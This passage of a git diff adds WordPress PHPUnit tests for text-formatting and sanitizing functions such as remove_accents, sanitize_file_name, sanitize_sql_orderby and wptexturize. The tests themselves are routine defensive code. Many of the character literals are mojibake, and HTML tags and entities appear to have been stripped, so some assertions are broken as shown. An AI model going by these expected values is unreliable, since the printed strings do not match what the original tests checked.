'AaAaEeOoOoUu', remove_accents( 'ẤấẮắẾếá»á»‘ỚớỨứ' ) ); + // dot below + $this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẠạẬậẶặẸẹỆệỊịỌá»á»˜á»™á»¢á»£á»¤á»¥á»°á»±á»´á»µ' ) ); + } + + /** + * @ticket 20772 + */ + public function test_remove_accents_hanyu_pinyin() { + // Vowels with diacritic (Chinese, Hanyu Pinyin) + // macron + $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'ÄēīÅūǖĀĒĪŌŪǕ' ) ); + // acute accent + $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'áéíóúǘÃÉÃÓÚǗ' ) ); + // caron + $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'ÇŽÄ›ÇǒǔǚÇÄšÇǑǓǙ' ) ); + // grave accent + $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'àèìòùǜÀÈÌÒÙǛ' ) ); + // unmarked + $this->assertEquals( 'aaeiouuAEIOUU', remove_accents( 'aÉ‘eiouüAEIOUÜ' ) ); + } + + function _remove_accents_germanic_umlauts_cb() { + return 'de_DE'; + } + + /** + * @ticket 3782 + */ + public function test_remove_accents_germanic_umlauts() { + add_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) ); + + $this->assertEquals( 'AeOeUeaeoeuess', remove_accents( 'ÄÖÜäöüß' ) ); + + remove_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) ); + } +} diff --git a/tests/tests/formatting/SanitizeFileName.php b/tests/tests/formatting/SanitizeFileName.php new file mode 100644 index 0000000000..e4f0824df7 --- /dev/null +++ b/tests/tests/formatting/SanitizeFileName.php @@ -0,0 +1,34 @@ +assertEquals( 'test.phtml_.txt', $file_name ); + } + + function test_removes_special_chars() { + $special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", chr(0)); + $string = 'test'; + foreach ( $special_chars as $char ) + $string .= $char; + $string .= 'test'; + $this->assertEquals( 'testtest', sanitize_file_name( $string ) ); + } + + function test_replaces_any_number_of_hyphens_with_one_hyphen() { + $this->assertEquals("a-t-t", sanitize_file_name("a----t----t")); + } + + function test_trims_trailing_hyphens() { + $this->assertEquals("a-t-t", sanitize_file_name("a----t----t----")); + } + + function test_replaces_any_amount_of_whitespace_with_one_hyphen() { + $this->assertEquals("a-t", sanitize_file_name("a t")); + $this->assertEquals("a-t", sanitize_file_name("a \n\n\nt")); + } +} diff --git a/tests/tests/formatting/SanitizeMimeType.php b/tests/tests/formatting/SanitizeMimeType.php new file mode 100644 index 0000000000..fde7d820cf --- /dev/null +++ b/tests/tests/formatting/SanitizeMimeType.php @@ -0,0 +1,38 @@ +assertEquals($input, sanitize_mime_type($input)); + } + } +} diff --git a/tests/tests/formatting/SanitizeOrderby.php b/tests/tests/formatting/SanitizeOrderby.php new file mode 100644 index 0000000000..48ef66255b --- /dev/null +++ b/tests/tests/formatting/SanitizeOrderby.php @@ -0,0 +1,38 @@ + 'a'); + $this->assertEquals( '', sanitize_sql_orderby('', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby(' ', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby("\t", $cols) ); + $this->assertEquals( '', sanitize_sql_orderby(null, $cols) ); + $this->assertEquals( '', sanitize_sql_orderby(0, $cols) ); + $this->assertEquals( '', sanitize_sql_orderby('+', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby('-', $cols) ); + } + + function test_unknown_column() { + $cols = array('name' => 'post_name', 'date' => 'post_date'); + $this->assertEquals( '', sanitize_sql_orderby('unknown_column', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby('+unknown_column', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby('-unknown_column', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby('-unknown1,+unknown2,unknown3', $cols) ); + $this->assertEquals( 'post_name ASC', sanitize_sql_orderby('name,unknown_column', $cols) ); + $this->assertEquals( '', sanitize_sql_orderby('!@#$%^&*()_=~`\'",./', $cols) ); + } + + function test_valid() { + $cols = array('name' => 'post_name', 'date' => 'post_date', 'random' => 'rand()'); + $this->assertEquals( 'post_name ASC', sanitize_sql_orderby('name', $cols) ); + $this->assertEquals( 'post_name ASC', sanitize_sql_orderby('+name', $cols) ); + $this->assertEquals( 'post_name DESC', sanitize_sql_orderby('-name', $cols) ); + $this->assertEquals( 'post_date ASC, post_name ASC', sanitize_sql_orderby('date,name', $cols) ); + $this->assertEquals( 'post_date ASC, post_name ASC', sanitize_sql_orderby(' date , name ', $cols) ); + $this->assertEquals( 'post_name DESC, post_date ASC', sanitize_sql_orderby('-name,date', $cols) ); + $this->assertEquals( 'post_name ASC, post_date ASC', sanitize_sql_orderby('name ,+ date', $cols) ); + $this->assertEquals( 'rand() ASC', sanitize_sql_orderby('random', $cols) ); + } +} +*/ diff --git a/tests/tests/formatting/SanitizePost.php b/tests/tests/formatting/SanitizePost.php new file mode 100644 index 0000000000..5dad0beb25 --- /dev/null +++ b/tests/tests/formatting/SanitizePost.php @@ -0,0 +1,25 @@ +factory->post->create_and_get(); + $int_fields = array( + 'ID' => 'integer', + 'post_parent' => 'integer', + 'menu_order' => 'integer', + 'post_author' => 'string', + 'comment_count' => 'string', + ); + + foreach ( $int_fields as $field => $type ) { + $this->assertInternalType( $type, $post->$field, "field $field" ); + } + } +} diff --git a/tests/tests/formatting/SanitizeTextField.php b/tests/tests/formatting/SanitizeTextField.php new file mode 100644 index 0000000000..4cbcbbcdf2 --- /dev/null +++ b/tests/tests/formatting/SanitizeTextField.php @@ -0,0 +1,47 @@ +are not allowed here', + ' we should trim leading and trailing whitespace ', + 'we also trim extra internal whitespace', + 'tabs get removed too', + 'newlines are not welcome + here', + 'We also %AB remove %ab octets', + 'We don\'t need to wory about %A + B removing %a + b octets even when %a B they are obscured by whitespace', + '%AB%BC%DE', //Just octets + 'Invalid octects remain %II', + 'Nested octects %%%ABABAB %A%A%ABBB', + ); + $expected = array( + 'оРангутанг', + 'СÐПР', + 'one is < two', + 'tags are not allowed here', + 'we should trim leading and trailing whitespace', + 'we also trim extra internal whitespace', + 'tabs get removed too', + 'newlines are not welcome here', + 'We also remove octets', + 'We don\'t need to wory about %A B removing %a b octets even when %a B they are obscured by whitespace', + '', //Emtpy as we strip all the octets out + 'Invalid octects remain %II', + 'Nested octects', + ); + + foreach ($inputs as $key => $input) { + $this->assertEquals($expected[$key], sanitize_text_field($input)); + } + } +} diff --git a/tests/tests/formatting/SanitizeTitle.php b/tests/tests/formatting/SanitizeTitle.php new file mode 100644 index 0000000000..dce073b69f --- /dev/null +++ b/tests/tests/formatting/SanitizeTitle.php @@ -0,0 +1,18 @@ +Awesome"; + $expected = "captain-awesome"; + $this->assertEquals($expected, sanitize_title($input)); + } + + function test_titles_sanitized_to_nothing_are_replaced_with_optional_fallback() { + $input = ""; + $fallback = "Captain Awesome"; + $this->assertEquals($fallback, sanitize_title($input, $fallback)); + } +} diff --git a/tests/tests/formatting/SanitizeTitleWithDashes.php b/tests/tests/formatting/SanitizeTitleWithDashes.php new file mode 100644 index 0000000000..53931bd173 --- /dev/null +++ b/tests/tests/formatting/SanitizeTitleWithDashes.php @@ -0,0 +1,107 @@ +Awesome"; + $expected = "captain-awesome"; + $this->assertEquals($expected, sanitize_title($input)); + } + + function test_strips_unencoded_percent_signs() { + $this->assertEquals("fran%c3%a7ois", sanitize_title_with_dashes("fran%c3%a7%ois")); + } + + function test_makes_title_lowercase() { + $this->assertEquals("abc", sanitize_title_with_dashes("ABC")); + } + + function test_replaces_any_amount_of_whitespace_with_one_hyphen() { + $this->assertEquals("a-t", sanitize_title_with_dashes("a t")); + $this->assertEquals("a-t", sanitize_title_with_dashes("a \n\n\nt")); + } + + function test_replaces_any_number_of_hyphens_with_one_hyphen() { + $this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t")); + } + + function test_trims_trailing_hyphens() { + $this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t----")); + } + + function test_handles_non_entity_ampersands() { + $this->assertEquals("penn-teller-bull", sanitize_title_with_dashes("penn & teller bull")); + } + + /** + * @ticket 10823 + */ + function test_strips_entities() { + $this->assertEquals("no-entities-here", sanitize_title_with_dashes("No   Entities – Here &")); + $this->assertEquals("one-two", sanitize_title_with_dashes("One & Two", '', 'save')); + $this->assertEquals("one-two", sanitize_title_with_dashes("One { Two;", '', 'save')); + $this->assertEquals("one-two", sanitize_title_with_dashes("One & Two;", '', 'save')); + $this->assertEquals("one-two", sanitize_title_with_dashes("One Twoâ„¢;", '', 'save')); + $this->assertEquals("one-two", sanitize_title_with_dashes("One && Two;", '', 'save')); + $this->assertEquals("onetwo", sanitize_title_with_dashes("One&Two", '', 'save')); + $this->assertEquals("onetwo-test", sanitize_title_with_dashes("One&Two Test;", '', 'save')); + } + + function test_replaces_nbsp() { + $this->assertEquals("dont-break-the-space", sanitize_title_with_dashes("don't break the space", '', 'save')); + } + + function test_replaces_ndash_mdash() { + $this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do – the Dash", '', 'save')); + $this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do the — Dash", '', 'save')); + } + + function test_replaces_iexcel_iquest() { + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ¡a Slug", '', 'save')); + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a Slug¿", '', 'save')); + } + + function test_replaces_angle_quotes() { + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("‹Just a Slug›", '', 'save')); + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("«Just a Slug»", '', 'save')); + } + + function test_replaces_curly_quotes() { + $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its “Curly Joeâ€", '', 'save')); + $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‘Curly Joe’", '', 'save')); + $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe“", '', 'save')); + $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‚Curly Joe‛", '', 'save')); + $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe‟", '', 'save')); + } + + function test_replaces_copy_reg_deg_trade() { + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just © a Slug", '', 'save')); + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("® Just a Slug", '', 'save')); + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a ° Slug", '', 'save')); + $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just â„¢ a Slug", '', 'save')); + } + + /** + * @ticket 19820 + */ + function test_replaces_multiply_sign() { + $this->assertEquals("6x7-is-42", sanitize_title_with_dashes("6×7 is 42", '', 'save')); + } + + /** + * @ticket 20772 + */ + function test_replaces_standalone_diacritic() { + $this->assertEquals("aaaa", sanitize_title_with_dashes("aÌ„aÌaÌŒaÌ€", '', 'save')); + } + + /** + * @ticket 22395 + */ + function test_replaces_acute_accents() { + $this->assertEquals("aaaa", sanitize_title_with_dashes("aÌaÍa´aËŠ", '', 'save')); + } + +} diff --git a/tests/tests/formatting/SanitizeTrackbackUrls.php b/tests/tests/formatting/SanitizeTrackbackUrls.php new file mode 100644 index 0000000000..b70f71bb43 --- /dev/null +++ b/tests/tests/formatting/SanitizeTrackbackUrls.php @@ -0,0 +1,27 @@ +assertEquals( "http://example.com\nhttp://example.org", sanitize_trackback_urls( "http://example.com{$break}http://example.org" ) ); + } + + function breaks() { + return array( + array( "\r\n\t " ), + array( "\r" ), + array( "\n" ), + array( "\t" ), + array( ' ' ), + array( ' ' ), + array( "\n " ), + array( "\r\n" ), + ); + } +} diff --git a/tests/tests/formatting/SanitizeUser.php b/tests/tests/formatting/SanitizeUser.php new file mode 100644 index 0000000000..3f7f03b34a --- /dev/null +++ b/tests/tests/formatting/SanitizeUser.php @@ -0,0 +1,27 @@ +Awesome"; + $expected = is_multisite() ? 'captain awesome' : 'Captain Awesome'; + $this->assertEquals($expected, sanitize_user($input)); + } + /** + * @ticket 10823 + */ + function test_strips_entities() { + $this->assertEquals("ATT", sanitize_user("AT&T")); + $this->assertEquals("ATT Test;", sanitize_user("AT&T Test;")); + $this->assertEquals("AT&T Test;", sanitize_user("AT&T Test;")); + } + function test_strips_percent_encoded_octets() { + $expected = is_multisite() ? 'franois' : 'Franois'; + $this->assertEquals( $expected, sanitize_user( "Fran%c3%a7ois" ) ); + } + function test_optional_strict_mode_reduces_to_safe_ascii_subset() { + $this->assertEquals("abc", sanitize_user("()~ab~ˆcˆ!", true)); + } +} diff --git a/tests/tests/formatting/SeemsUtf8.php b/tests/tests/formatting/SeemsUtf8.php new file mode 100644 index 0000000000..d557295c3d --- /dev/null +++ b/tests/tests/formatting/SeemsUtf8.php @@ -0,0 +1,46 @@ +assertTrue( seems_utf8( $string ) ); + } + + function utf8_strings() { + $utf8_strings = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' ); + foreach ( $utf8_strings as &$string ) { + $string = (array) trim( $string ); + } + unset( $string ); + return $utf8_strings; + } + + /** + * @dataProvider big5_strings + */ + function test_returns_false_for_non_utf8_strings( $big5_string ) { + $this->markTestIncomplete( 'This test does not have any assertions.' ); + + $big5 = $big5[0]; + $strings = array( + "abc", + "123", + $big5 + ); + } + + function big5_strings() { + // Get data from formatting/big5.txt + return array( array( 'incomplete' ) ); + } +} + diff --git a/tests/tests/formatting/Slashit.php b/tests/tests/formatting/Slashit.php new file mode 100644 index 0000000000..9db62a5f91 --- /dev/null +++ b/tests/tests/formatting/Slashit.php @@ -0,0 +1,31 @@ +assertEquals("\\a-!9\\a943\\b\\c", backslashit("a-!9a943bc")); + } + + function test_backslashes_alphas() { + $this->assertEquals("\\a943\\b\\c", backslashit("a943bc")); + } + + function test_double_backslashes_leading_numbers() { + $this->assertEquals("\\\\95", backslashit("95")); + } + + function test_removes_trailing_slashes() { + $this->assertEquals("a", untrailingslashit("a/")); + $this->assertEquals("a", untrailingslashit("a////")); + } + + function test_adds_trailing_slash() { + $this->assertEquals("a/", trailingslashit("a")); + } + + function test_does_not_add_trailing_slash_if_one_exists() { + $this->assertEquals("a/", trailingslashit("a/")); + } +} diff --git a/tests/tests/formatting/Smilies.php b/tests/tests/formatting/Smilies.php new file mode 100644 index 0000000000..5d9777479d --- /dev/null +++ b/tests/tests/formatting/Smilies.php @@ -0,0 +1,84 @@ +Welcome to the jungle! We got fun n games! :) We got everything you want 8-) Honey we know the names :)', + "a little bit of this\na little bit:other: of that :D\n:D a little bit of good\nyeah with a little bit of bad8O", + 'and I say it\'s allright:D:D', + '', + ':?:P:?::-x:mrgreen:::', /* + 'the question is, ', + 'the question is, Should smilies be converted in code or pre tags :?:', + 'the question is, Should smilies be converted in code or pre tags :?:', + 'the question is, Should smilies be converted in invalid code or pre tags :?:', + 'Yes I am :)> :) The world makes me :mad:' */ + ); + + $outputs = array( + 'Lorem ipsum dolor sit amet mauris \';-)\' Praesent gravida sodales. \':lol:\' Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, \':eek:\' mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, \':mrgreen:\' tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus \':?:\' ', + 'Welcome to the jungle! We got fun n games! \':)\' We got everything you want \'8-)\' Honey we know the names \':)\' ', + "a little bit of this\na little bit:other: of that :D :D a little bit of good\nyeah with a little bit of bad8O", + 'and I say it\'s allright:D:D', + '', + ' \':?:\' P:?::-x:mrgreen:::', /* + 'the question is, ', + 'the question is, Should smilies be converted in code or pre tags :?:', + 'the question is, Should smilies be converted in code or pre tags :?:', + 'the question is, Should smilies be converted in invalid code or pre tags :?:', + 'Yes I am \':)\' > \':)\' The world makes me \':mad:\'' */ + ); + + foreach ( $inputs as $k => $input ) { + $this->assertEquals( $outputs[$k], convert_smilies($input) ); + } + + update_option( 'use_smilies', 0 ); + + // standard smilies, use_smilies: OFF + + foreach ( $inputs as $input ) { + $this->assertEquals( $input, convert_smilies($input) ); + } + + return; + + // custom smilies, use_smilies: ON + update_option( 'use_smilies', 1 ); + $wpsmiliestrans = array( + ':PP' => 'icon_tongue.gif', + ':arrow:' => 'icon_arrow.gif', + ':monkey:' => 'icon_shock_the_monkey.gif', + ':nervou:' => 'icon_nervou.gif' + ); + + smilies_init(); + + $inputs = array('Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. :monkey:', + 'Star Wars Jedi Knight:arrow: Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. :nervou:', + ':arrow:monkey:Lorem ipsum dolor sit amet enim. Etiam ullam:PP
    corper. Suspendisse a pellentesque dui, non felis.:arrow::arrow' + ); + + $outputs = array('Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. \'icon_arrow\'', + 'Star Wars Jedi Knight\'icon_arrow\' Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. \'icon_nervou\'', + '\'icon_arrow\'monkey:Lorem ipsum dolor sit amet enim. Etiam ullam\'icon_tongue\'
    corper. Suspendisse a pellentesque dui, non felis.\'icon_arrow\':arrow' + ); + + foreach ( $inputs as $k => $input ) { + $this->assertEquals( $outputs[$k], convert_smilies($input) ); + } + } +} diff --git a/tests/tests/formatting/StripSlashesDeep.php b/tests/tests/formatting/StripSlashesDeep.php new file mode 100644 index 0000000000..d834f0f197 --- /dev/null +++ b/tests/tests/formatting/StripSlashesDeep.php @@ -0,0 +1,47 @@ +assertEquals( true, stripslashes_deep( true ) ); + $this->assertEquals( false, stripslashes_deep( false ) ); + $this->assertEquals( 4, stripslashes_deep( 4 ) ); + $this->assertEquals( 'foo', stripslashes_deep( 'foo' ) ); + $arr = array( 'a' => true, 'b' => false, 'c' => 4, 'd' => 'foo' ); + $arr['e'] = $arr; // Add a sub-array + $this->assertEquals( $arr, stripslashes_deep( $arr ) ); // Keyed array + $this->assertEquals( array_values( $arr ), stripslashes_deep( array_values( $arr ) ) ); // Non-keyed + + $obj = new stdClass; + foreach ( $arr as $k => $v ) + $obj->$k = $v; + $this->assertEquals( $obj, stripslashes_deep( $obj ) ); + } + + function test_strips_slashes() { + $old = "I can\'t see, isn\'t that it?"; + $new = "I can't see, isn't that it?"; + $this->assertEquals( $new, stripslashes_deep( $old ) ); + $this->assertEquals( $new, stripslashes_deep( "I can\\'t see, isn\\'t that it?" ) ); + $this->assertEquals( array( 'a' => $new ), stripslashes_deep( array( 'a' => $old ) ) ); // Keyed array + $this->assertEquals( array( $new ), stripslashes_deep( array( $old ) ) ); // Non-keyed + + $obj_old = new stdClass; + $obj_old->a = $old; + $obj_new = new stdClass; + $obj_new->a = $new; + $this->assertEquals( $obj_new, stripslashes_deep( $obj_old ) ); + } + + function test_permits_escaped_slash() { + $txt = "I can't see, isn\'t that it?"; + $this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\'t that it?" ) ); + $this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\\\'t that it?" ) ); + } +} diff --git a/tests/tests/formatting/UrlEncodedToEntities.php b/tests/tests/formatting/UrlEncodedToEntities.php new file mode 100644 index 0000000000..956f67173f --- /dev/null +++ b/tests/tests/formatting/UrlEncodedToEntities.php @@ -0,0 +1,24 @@ +assertEquals( $entity, preg_replace_callback('/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $u_urlencoded ), $entity ); + } + + function data() { + $input = file( DIR_TESTDATA . '/formatting/utf-8/u-urlencoded.txt' ); + $output = file( DIR_TESTDATA . '/formatting/utf-8/entitized.txt' ); + $data_provided = array(); + foreach ( $input as $key => $value ) { + $data_provided[] = array( trim( $value ), trim( $output[ $key ] ) ); + } + return $data_provided; + } +} + diff --git a/tests/tests/formatting/Utf8UriEncode.php b/tests/tests/formatting/Utf8UriEncode.php new file mode 100644 index 0000000000..2389c9a345 --- /dev/null +++ b/tests/tests/formatting/Utf8UriEncode.php @@ -0,0 +1,36 @@ +assertEquals($urlencoded, utf8_uri_encode( $utf8 ) ); + } + + /** + * @dataProvider data + */ + function test_output_is_not_longer_than_optional_length_argument( $utf8, $unused_for_this_test ) { + $max_length = 30; + $this->assertTrue( strlen( utf8_uri_encode( $utf8, $max_length ) ) <= $max_length ); + } + + function data() { + $utf8_urls = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' ); + $urlencoded = file( DIR_TESTDATA . '/formatting/utf-8/urlencoded.txt' ); + $data_provided = array(); + foreach ( $utf8_urls as $key => $value ) { + $data_provided[] = array( trim( $value ), trim( $urlencoded[ $key ] ) ); + } + return $data_provided; + } +} + diff --git a/tests/tests/formatting/WPSpecialchars.php b/tests/tests/formatting/WPSpecialchars.php new file mode 100644 index 0000000000..6c8765d4db --- /dev/null +++ b/tests/tests/formatting/WPSpecialchars.php @@ -0,0 +1,42 @@ +assertEquals( $html, _wp_specialchars( $html ) ); + + $double = "&amp;&lt;hello world&gt;"; + $this->assertEquals( $double, _wp_specialchars( $html, ENT_NOQUOTES, false, true ) ); + } + + function test_allowed_entity_names() { + global $allowedentitynames; + + // Allowed entities should be unchanged + foreach ( $allowedentitynames as $ent ) { + $ent = '&' . $ent . ';'; + $this->assertEquals( $ent, _wp_specialchars( $ent ) ); + } + } + + function test_not_allowed_entity_names() { + $ents = array( 'iacut', 'aposs', 'pos', 'apo', 'apo?', 'apo.*', '.*apo.*', 'apos ', ' apos', ' apos ' ); + + foreach ( $ents as $ent ) { + $escaped = '&' . $ent . ';'; + $ent = '&' . $ent . ';'; + $this->assertEquals( $escaped, _wp_specialchars( $ent ) ); + } + } + + function test_optionally_escapes_quotes() { + $source = "\"'hello!'\""; + $this->assertEquals( '"'hello!'"', _wp_specialchars($source, 'single') ); + $this->assertEquals( ""'hello!'"", _wp_specialchars($source, 'double') ); + $this->assertEquals( '"'hello!'"', _wp_specialchars($source, true) ); + $this->assertEquals( $source, _wp_specialchars($source) ); + } +} diff --git a/tests/tests/formatting/WPTexturize.php b/tests/tests/formatting/WPTexturize.php new file mode 100644 index 0000000000..c44e176e72 --- /dev/null +++ b/tests/tests/formatting/WPTexturize.php @@ -0,0 +1,197 @@ +assertEquals('Hey — boo?', wptexturize('Hey -- boo?')); + $this->assertEquals('Hey — boo?', wptexturize('Hey -- boo?')); + } + + function test_disable() { + $this->assertEquals('
    ---
    ', wptexturize('
    ---
    ')); + $this->assertEquals('[a]a–b[code]---[/code]a–b[/a]', wptexturize('[a]a--b[code]---[/code]a--b[/a]')); + $this->assertEquals('
    --
    ', wptexturize('
    --
    ')); + + $this->assertEquals('---', wptexturize('---')); + + $this->assertEquals('href="baba" “baba”', wptexturize('href="baba" "baba"')); + + $enabled_tags_inside_code = 'curl -s baba | grep sfive | cut -d "\"" -f 10 > topmp3.txt'; + $this->assertEquals($enabled_tags_inside_code, wptexturize($enabled_tags_inside_code)); + + $double_nest = '
    "baba""baba"
    "baba"
    '; + $this->assertEquals($double_nest, wptexturize($double_nest)); + + $invalid_nest = '
    "baba"
    '; + $this->assertEquals($invalid_nest, wptexturize($invalid_nest)); + + } + + //WP Ticket #1418 + function test_bracketed_quotes_1418() { + $this->assertEquals('(“test”)', wptexturize('("test")')); + $this->assertEquals('(‘test’)', wptexturize("('test')")); + $this->assertEquals('(’twas)', wptexturize("('twas)")); + } + + //WP Ticket #3810 + function test_bracketed_quotes_3810() { + $this->assertEquals('A dog (“Hubertus”) was sent out.', wptexturize('A dog ("Hubertus") was sent out.')); + } + + //WP Ticket #4539 + function test_basic_quotes() { + $this->assertEquals('test’s', wptexturize('test\'s')); + $this->assertEquals('test’s', wptexturize('test\'s')); + + $this->assertEquals('‘quoted’', wptexturize('\'quoted\'')); + $this->assertEquals('“quoted”', wptexturize('"quoted"')); + + $this->assertEquals('space before ‘quoted’ space after', wptexturize('space before \'quoted\' space after')); + $this->assertEquals('space before “quoted” space after', wptexturize('space before "quoted" space after')); + + $this->assertEquals('(‘quoted’)', wptexturize('(\'quoted\')')); + $this->assertEquals('{“quoted”}', wptexturize('{"quoted"}')); + + $this->assertEquals('‘qu(ot)ed’', wptexturize('\'qu(ot)ed\'')); + $this->assertEquals('“qu{ot}ed”', wptexturize('"qu{ot}ed"')); + + $this->assertEquals(' ‘test’s quoted’ ', wptexturize(' \'test\'s quoted\' ')); + $this->assertEquals(' “test’s quoted” ', wptexturize(' "test\'s quoted" ')); + } + + /** + * @ticket 4539 + * @ticket 15241 + */ + function test_full_sentences_with_unmatched_single_quotes() { + $this->assertEquals( + 'That means every moment you’re working on something without it being in the public it’s actually dying.', + wptexturize("That means every moment you're working on something without it being in the public it's actually dying.") + ); + } + + /** + * @ticket 4539 + */ + function test_quotes() { + $this->assertEquals('“Quoted String”', wptexturize('"Quoted String"')); + $this->assertEquals('Here is “a test with a link”', wptexturize('Here is "a test with a link"')); + $this->assertEquals('Here is “a test with a link and a period”.', wptexturize('Here is "a test with a link and a period".')); + $this->assertEquals('Here is “a test with a link” and a space.', wptexturize('Here is "a test with a link" and a space.')); + $this->assertEquals('Here is “a test with a link and some text quoted”', wptexturize('Here is "a test with a link and some text quoted"')); + $this->assertEquals('Here is “a test with a link”, and a comma.', wptexturize('Here is "a test with a link", and a comma.')); + $this->assertEquals('Here is “a test with a link”; and a semi-colon.', wptexturize('Here is "a test with a link"; and a semi-colon.')); + $this->assertEquals('Here is “a test with a link”- and a dash.', wptexturize('Here is "a test with a link"- and a dash.')); + $this->assertEquals('Here is “a test with a link”… and ellipses.', wptexturize('Here is "a test with a link"... and ellipses.')); + $this->assertEquals('Here is “a test with a link”.', wptexturize('Here is "a test with a link".')); + $this->assertEquals('Here is “a test with a link”and a work stuck to the end.', wptexturize('Here is "a test with a link"and a work stuck to the end.')); + $this->assertEquals('A test with a finishing number, “like 23”.', wptexturize('A test with a finishing number, "like 23".')); + $this->assertEquals('A test with a number, “like 62”, is nice to have.', wptexturize('A test with a number, "like 62", is nice to have.')); + } + + /** + * @ticket 4539 + */ + function test_quotes_before_s() { + $this->assertEquals('test’s', wptexturize("test's")); + $this->assertEquals('‘test’s', wptexturize("'test's")); + $this->assertEquals('‘test’s’', wptexturize("'test's'")); + $this->assertEquals('‘string’', wptexturize("'string'")); + $this->assertEquals('‘string’s’', wptexturize("'string's'")); + } + + /** + * @ticket 4539 + */ + function test_quotes_before_numbers() { + $this->assertEquals('Class of ’99', wptexturize("Class of '99")); + $this->assertEquals('Class of ’99’s', wptexturize("Class of '99's")); + $this->assertEquals('‘Class of ’99’', wptexturize("'Class of '99'")); + $this->assertEquals('‘Class of ’99’s’', wptexturize("'Class of '99's'")); + $this->assertEquals('‘Class of ’99’s’', wptexturize("'Class of '99’s'")); + $this->assertEquals('“Class of 99”', wptexturize("\"Class of 99\"")); + $this->assertEquals('“Class of ’99”', wptexturize("\"Class of '99\"")); + } + + function test_quotes_after_numbers() { + $this->assertEquals('Class of ’99', wptexturize("Class of '99")); + } + + /** + * @ticket 4539 + * @ticket 15241 + */ + function test_other_html() { + $this->assertEquals('‘', wptexturize("'")); + $this->assertEquals('‘Quoted Text’,', wptexturize("'Quoted Text',")); + $this->assertEquals('“Quoted Text”,', wptexturize('"Quoted Text",')); + } + + function test_x() { + $this->assertEquals('14×24', wptexturize("14x24")); + } + + function test_minutes_seconds() { + $this->assertEquals('9′', wptexturize('9\'')); + $this->assertEquals('9″', wptexturize("9\"")); + + $this->assertEquals('a 9′ b', wptexturize('a 9\' b')); + $this->assertEquals('a 9″ b', wptexturize("a 9\" b")); + + $this->assertEquals('“a 9′ b”', wptexturize('"a 9\' b"')); + $this->assertEquals('‘a 9″ b’', wptexturize("'a 9\" b'")); + } + + /** + * @ticket 8775 + */ + function test_wptexturize_quotes_around_numbers() { + $this->assertEquals('“12345”', wptexturize('"12345"')); + $this->assertEquals('‘12345’', wptexturize('\'12345\'')); + $this->assertEquals('“a 9′ plus a ‘9’, maybe a 9′ ‘9’ ”', wptexturize('"a 9\' plus a \'9\', maybe a 9\' \'9\' "')); + $this->assertEquals('

    ‘99
    ‘123’
    ’tis
    ‘s’

    ', wptexturize('

    \'99
    \'123\'
    \'tis
    \'s\'

    ')); + } + + /** + * @ticket 8912 + */ + function test_wptexturize_html_comments() { + $this->assertEquals('', wptexturize('')); + $this->assertEquals('', wptexturize('')); + $this->assertEquals('
    • Hello.
    ', wptexturize('
    • Hello.
